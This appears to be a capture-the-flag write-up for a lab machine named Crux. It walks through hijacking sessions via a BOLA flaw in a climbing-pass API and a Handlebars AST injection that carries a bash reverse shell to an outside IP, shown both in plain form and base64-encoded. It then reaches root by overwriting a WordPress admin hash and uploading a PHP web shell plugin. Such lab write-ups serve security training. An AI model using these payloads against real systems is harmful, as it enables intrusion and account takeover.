↩︎ Back to home

Hacking Club - Crux

Crux is a Linux machine that hosts a web application for granting access to boulder climbing sites, based on a daily pass system. I got foothold by injecting code in a Handlebars.js AST parser, then escalated privileges by executing code via a WordPress instance running as root.

Enum

Initial Scan

Terminal window
❯ sudo nmap -sS -sV 172.16.13.247
[sudo] password for vncsb:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-06 23:29 +0000
Nmap scan report for 172.16.13.247
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Ubuntu 2ubuntu3.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.28.3 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds

Port 80

When accessing the machine on port 80, I got redirected to the domain crux.hc:

Terminal window
❯ curl -I http://172.16.13.247
HTTP/1.1 301 Moved Permanently
Server: nginx/1.28.3 (Ubuntu)
Date: Fri, 06 Nov 2026 23:31:43 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://crux.hc/

I added the domain to /etc/hosts and accessed it again. I landed on what appeared to be a web application for granting boulder climbers access to climbing sites:

The “How it works” section describes the application’s features:

  1. Create your profile
  2. Renew your day pass - This is the main feature which allows users to generate or renew a pass
  3. Scan & climb - Users can scan their pass to gain access
  4. Log your sends - Users can register their climbs and compete in a leaderboard

The application had a robots.txt disallowing the /console path:

User-agent: *
Disallow: /console

When I tried to access it, I got a 403 error with a message saying that only gym owners were allowed to access this feature:

This looked like a good initial target.

While exploring the application’s source files I found api-client.js, which is responsible for making all the API calls:

const API = '/api/v1';
async function apiSend(path, method, body) {
const res = await fetch(API + path, {
method,
headers: body ? { 'Content-Type': 'application/json' } : {},
body: body ? JSON.stringify(body) : undefined,
credentials: 'same-origin',
});
return res;
}
async function apiJson(path) {
const res = await fetch(API + path, { credentials: 'same-origin' });
if (!res.ok) throw new Error('request failed: ' + res.status);
return res.json();
}
const CruxAPI = {
register: (username, display_name, password) =>
apiSend('/register', 'POST', { username, display_name, password }),
login: (username, password) =>
apiSend('/login', 'POST', { username, password }),
logout: () => apiSend('/logout', 'POST'),
me: () => apiJson('/me'),
leaderboard: () => apiJson('/leaderboard'),
renewPass: (member_id) => apiSend('/pass/renew', 'POST', { member_id }),
// backup = portable Handlebars template
exportConfig: () => apiSend('/config/export', 'GET'),
restoreConfig: (backup) => apiSend('/config/restore', 'POST', { backup }),
};
window.CruxAPI = CruxAPI;

Two things in this code caught my attention:

  1. The /pass/renew endpoint expects the front-end to send the member_id, instead of getting this information from some kind of session token
  2. The /config/restore endpoint expects a “portable Handlebars template”, according to the comment

Shell as node

The pass renew feature works by receiving a member_id and issuing a new session_token:

POST /api/v1/pass/renew

{"member_id":4}
HTTP/1.1 204 No Content
Server: nginx/1.28.3 (Ubuntu)
Date: Fri, 06 Nov 2026 23:56:47 GMT
Connection: keep-alive
Set-Cookie: session_token=117f17a87559900a4c980919df170cf1d5984a72e1f2d40d; Path=/; HttpOnly; SameSite=Lax

When I saw that in order to renew a pass the API expected a member_id as a parameter, I immediately thought of trying to send another user’s member_id to obtain that user’s session token:

Terminal window
❯ curl -X POST http://crux.hc/api/v1/pass/renew -H "Cookie: session_token=dd01d6c73c0c915ad3dd91a631f306a4997a9ab73c4a4911" -H "Content-Type: application/json" -d '{"member_id": 2}' -v
[..snipped..]
< HTTP/1.1 204 No Content
< Server: nginx/1.28.3 (Ubuntu)
< Date: Sat, 07 Nov 2026 00:41:49 GMT
< Connection: keep-alive
< Set-Cookie: session_token=5f003fc8ad026e2539f56363b346152b8f347ca64de0b67a; Path=/; HttpOnly; SameSite=Lax

I then used the returned session_token in the /api/v1/me endpoint to confirm the owner of the token:

Terminal window
❯ curl -s http://crux.hc/api/v1/me -H "Cookie: session_token=5f003fc8ad026e2539f56363b346152b8f347ca64de0b67a" | jq
{
"member_id": 2,
"username": "mia.okafor",
"display_name": "Mia Okafor",
"role": "member",
"home_gym": "Crux Riverside",
"sends": 331
}

This meant that this API is vulnerable to BOLA (Broken Object Level Authorization): the server does not verify that the user is authorized to renew a pass for the member_id sent in the request.

However, all users on the leaderboard had the member role, while I needed an owner user to be able to access the /console feature.

This led me to try and brute-force a range of member_id values, using ffuf:

Terminal window
❯ seq 5 999 | ffuf -c -w - -X POST -u 'http://crux.hc/api/v1/pass/renew' -b "session_token=5f003fc8ad026e2539f56363b346152b8f347ca64de0b67a" -H "Content-Type: application/json" -d '{ "member_id": FUZZ}'
________________________________________________
:: Method : POST
:: URL : http://crux.hc/api/v1/pass/renew
:: Wordlist : FUZZ: -
:: Header : Content-Type: application/json
:: Header : Cookie: session_token=5f003fc8ad026e2539f56363b346152b8f347ca64de0b67a
:: Data : { "member_id": FUZZ}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
593 [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 128ms]
:: Progress: [995/995] :: Job [1/1] :: 310 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

A user with member_id 593 exists, so I renewed the pass with this id:

Terminal window
❯ curl -X POST http://crux.hc/api/v1/pass/renew -H "Cookie: session_token=dd01d6c73c0c915ad3dd91a631f306a4997a9ab73c4a4911" -H "Content-Type: application/json" -d '{"member_id": 593}' -v
* upload completely sent off: 18 bytes
[..snipped..]
< HTTP/1.1 204 No Content
< Server: nginx/1.28.3 (Ubuntu)
< Date: Sat, 07 Nov 2026 00:50:49 GMT
< Connection: keep-alive
< Set-Cookie: session_token=6aeb316b8c2cbdd7e536cfd034bb3471f545be902dfd50e0; Path=/; HttpOnly; SameSite=Lax
<
* Connection #0 to host crux.hc:80 left intact

I then checked the user’s information and it turned out this was an owner user:

Terminal window
❯ curl -s http://crux.hc/api/v1/me -H "Cookie: session_token=6aeb316b8c2cbdd7e536cfd034bb3471f545be902dfd50e0" | jq
{
"member_id": 593,
"username": "dana.reeves",
"display_name": "Dana Reeves",
"role": "owner",
"home_gym": "Crux HQ",
"sends": 412
}

Setting my browser’s session_token cookie to this value allowed me to access the /console feature, which uses the /config/export and /config/restore API endpoints to export and restore settings:

The settings were exported in the base64 format and decoding it revealed a JSON:

{
"type": "Program",
"body": [
{
"type": "ContentStatement",
"original": "Crux HQ notice · desk ",
"value": "Crux HQ notice · desk ",
"loc": {
"start": {
"line": 1,
"column": 0
},
"end": {
"line": 1,
"column": 22
}
}
},
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [
"phone"
],
"original": "phone",
"loc": {
"start": {
"line": 1,
"column": 24
},
"end": {
"line": 1,
"column": 29
}
}
},
"params": [],
"escaped": true,
"strip": {
"open": false,
"close": false
},
"loc": {
"start": {
"line": 1,
"column": 22
},
"end": {
"line": 1,
"column": 31
}
}
},
[..snipped..]
}

The JSON above was snipped for brevity because the full output was a lot bigger than this. The code comment about a “Handlebars template”, together with terms like ContentStatement and MustacheStatement, led me to identify this as a Handlebars AST, which is the representation of a Handlebars template in a JSON format that is generated by the Handlebars compiler.

While researching ways to abuse this, I found this payload at Hacktricks that seemed to apply to this case. I modified it to execute a reverse shell:

{
"type": "Program",
"body":[
{
"type": "MustacheStatement",
"path": 0,
"params": [
{
"type": "NumberLiteral",
"value":
"process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/10.0.66.176/4444 0>&1'`)"
}
],
"loc": {
"start": 0,
"end": 0
}
}
]
}

And encoded it as base64:

eyJ0eXBlIjoiUHJvZ3JhbSIsImJvZHkiOlt7InR5cGUiOiJNdXN0YWNoZVN0YXRlbWVudCIsInBhdGgiOjAsInBhcmFtcyI6W3sidHlwZSI6Ik51bWJlckxpdGVyYWwiLCJ2YWx1ZSI6InByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoYGJhc2ggLWMgJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMC42Ni4xNzYvNDQ0NCAwPiYxJ2ApIn1dLCJsb2MiOnsic3RhcnQiOjAsImVuZCI6MH19XX0=

I then started a nc listener, pasted the base64 payload into the application and sent it using the “Restore from backup” button:

Got a shell in my listener as node:

Terminal window
❯ nc -lnv 4444
Listening on 0.0.0.0 4444
Connection received on 172.16.2.156 41738
bash: cannot set terminal process group (656): Inappropriate ioctl for device
bash: no job control in this shell
node@ip-172-16-2-156:~/crux/app$ id
id
uid=1001(node) gid=1001(node) groups=1001(node),100(users)

Shell as root

While looking at the internal open ports, I noticed that the ports 3306 and 8080 were open, which suggested that a MySQL instance and a web application were running:

Terminal window
node@ip-172-16-2-156:~/crux/app$ ss -punta | grep 127
[..snipped..]
tcp LISTEN 0 511 127.0.0.1:3000 0.0.0.0:* users:(("node-MainThread",pid=656,fd=21))
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
tcp TIME-WAIT 0 0 127.0.0.1:9001 127.0.0.1:48694
tcp CLOSE-WAIT 1 0 127.0.0.1:3000 127.0.0.1:45396 users:(("node-MainThread",pid=656,fd=22))

I took a look at /var/www/ to find out what was running on port 8080 and found WordPress files:

Terminal window
node@ip-172-16-2-156:~/crux/app$ ls -al /var/www/wordpress/
total 248
drwxr-xr-x 5 root root 4096 Jul 20 18:53 .
drwxr-xr-x 4 root root 4096 Jul 19 03:15 ..
-rw-r--r-- 1 root root 405 Feb 6 2020 index.php
-rw-r--r-- 1 root root 19903 Jul 20 18:50 license.txt
-rw-r--r-- 1 root root 7425 Jul 20 18:50 readme.html
-rw-r--r-- 1 root root 7349 Oct 8 2025 wp-activate.php
drwxr-xr-x 9 root root 4096 Mar 11 2026 wp-admin
-rw-r--r-- 1 root root 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 root root 2323 Jun 14 2023 wp-comments-post.php
-rw-r--r-- 1 root root 3339 Aug 12 2025 wp-config-sample.php
-rw-r--r-- 1 root root 1511 Jul 20 18:53 wp-config.php
-rw-r--r-- 1 root root 1269 Jul 20 18:50 wp-config.php.bak
drwxr-xr-x 6 root root 4096 Jul 20 18:50 wp-content
-rw-r--r-- 1 root root 5617 Aug 2 2024 wp-cron.php
drwxr-xr-x 31 root root 12288 Mar 11 2026 wp-includes
-rw-r--r-- 1 root root 2493 Apr 30 2025 wp-links-opml.php
-rw-r--r-- 1 root root 3937 Mar 11 2024 wp-load.php
-rw-r--r-- 1 root root 51437 Oct 29 2025 wp-login.php
-rw-r--r-- 1 root root 8727 Apr 2 2025 wp-mail.php
-rw-r--r-- 1 root root 31055 Nov 7 2025 wp-settings.php
-rw-r--r-- 1 root root 34516 Mar 10 2025 wp-signup.php
-rw-r--r-- 1 root root 5214 Aug 19 2025 wp-trackback.php
-rw-r--r-- 1 root root 3205 Nov 8 2024 xmlrpc.php

To confirm that WordPress was running on 8080, I used curl:

Terminal window
node@ip-172-16-2-156:~/crux/app$ curl -s http://127.0.0.1:8080 | grep wordpress
{"imports":{"@wordpress/interactivity":"http://127.0.0.1:8080/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=66c613f68580994bb00a"}}
<link rel="modulepreload" href="http://127.0.0.1:8080/wp-includes/js/dist/script-modules/interactivity/index.min.js?ver=66c613f68580994bb00a" id="@wordpress/interactivity-js-modulepreload" fetchpriority="low">
Designed with <a href="https://wordpress.org" rel="nofollow">WordPress</a> </p>
<script type="module" src="http://127.0.0.1:8080/wp-includes/js/dist/script-modules/block-library/navigation/view.min.js?ver=b0f909c3ec791c383210" id="@wordpress/block-library/navigation/view-js-module" fetchpriority="low" data-wp-router-options="{&quot;loadOnClientNavigation&quot;:true}"></script>

I checked the wp-config.php for credentials and found the user and password for the database:

Terminal window
node@ip-172-16-2-156:/var/www/wordpress$ cat wp-config.php
<?php
define( 'DB_NAME', 'wp_ops' );
define( 'DB_USER', 'wp_ops' );
define( 'DB_PASSWORD', 'Cl1mb-H1gh-0ps-2026' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
[..snipped..]
define( 'WP_AUTO_UPDATE_CORE', false );
define( 'AUTOMATIC_UPDATER_DISABLED', true );
define( 'DISABLE_WP_CRON', true );
require_once ABSPATH . 'wp-settings.php';

I was able to extract the hash from the siteadmin WordPress user, but wasn’t able to crack it. This ruled out password reuse. What was left was to change the password hash to something I control and execute code as the user running WordPress. I used ps to check the owner of the WordPress process:

Terminal window
node@ip-172-16-2-156:~$ ps aux | grep wp
root 1117 0.0 1.0 209128 41736 ? S 00:38 0:01 php-fpm: pool wp
root 1118 0.0 1.0 209024 39548 ? S 00:38 0:00 php-fpm: pool wp

With root owning the WordPress process, there was a clear path to privilege escalation.

In order to make it easier to interact with the WordPress instance I decided to use ssh local port forwarding to access port 8080 on the target machine directly from my machine.

First, I needed to generate a new key pair:

Terminal window
❯ ssh-keygen -t rsa -f ./id-rsa

And add the public key to the authorized_keys for the node user on the target machine:

Terminal window
node@ip-172-16-2-156:~$ echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCraZOOKhwDDwzJToOx4ri5PLkF/s2i/79HTi4SRWdxf6Gb2nkyNzBgXOA+lGbFwNP+PXagcivuW0jMyXXaucIJVNrVKFhsdNEeDP49IrU5MXHJeYa/pY54cVU8hgIqhvs3B2v9f8OydLAgH0Y/pArPv7X7DgzNdjRWOJnuxtVAiDZugQU21VSHMy73elj/wm+tZB+mORDtAVkMKyNZ+M+MvyhXRm9qF4jlCLc1Qhx0AVhS8idGicTY1aT85n4z4Qmi3JgmEgrBhyKwcPRZ16nosylT2EBlrW1ISpVpd3VexmxGmQ94o80ktmKVa8Mp+9qCV3Ar98MQ8FyX3ANHLNdhE4GsSVPHgyapsYYmfUdD3hjJzLEF+d6TTAL+c8xKR4FRWQTRGJzTI1ZGg/IT5XCDp4RZ2viu/B7gDob8GvlOmYPR9G+RJ9VgN1l18M8PGAVNyPeef/xWyR/0tCgbbotZ4N0DkZysDEl2zs1AZBPERkUCxzvrD7u9zn733aKkHY0= vncsb@haxos' > .ssh/authorized_keys

Now I just needed to do the port forwarding:

Terminal window
❯ ssh -i id-rsa -f -N -L localhost:8080:localhost:8080 node@crux.hc

Which made the WordPress blog available to visit locally:

With access to WordPress, I needed to change siteadmin user’s password hash so I could log in:

MariaDB [wp_ops]> UPDATE wp_users SET user_pass = '$2y$10$36br7TQaEWFA09aD7ouqO.rTjNV6oVy0UnBu7H9TwUgPpHENf5f4a' WHERE ID = 1;

This hash is equivalent to the password YourNewPass123.

Now that I had admin access to WordPress, I opted to upload a plugin to get code execution. I created a shell.php file and added this code:

<?php
/*
Plugin Name: Plugin
Description: Plugins
Version: 1.0
*/
system($_GET['cmd']);

The header comment is required so that WordPress recognizes this as a valid plugin.

Then I created a shell/ folder, moved shell.php to it and zipped the folder:

Terminal window
❯ zip -r shell.zip shell/
adding: shell/ (stored 0%)
adding: shell/shell.php (deflated 15%)

I uploaded the plugin to WordPress using the web interface at /wp-admin/plugin-install.php. After the plugin was successfully uploaded, I could use curl to execute commands:

Terminal window
❯ curl 'http://127.0.0.1:8080/wp-content/plugins/shell/shell.php?cmd=id'
uid=0(root) gid=0(root) groups=0(root)

Rooted! :]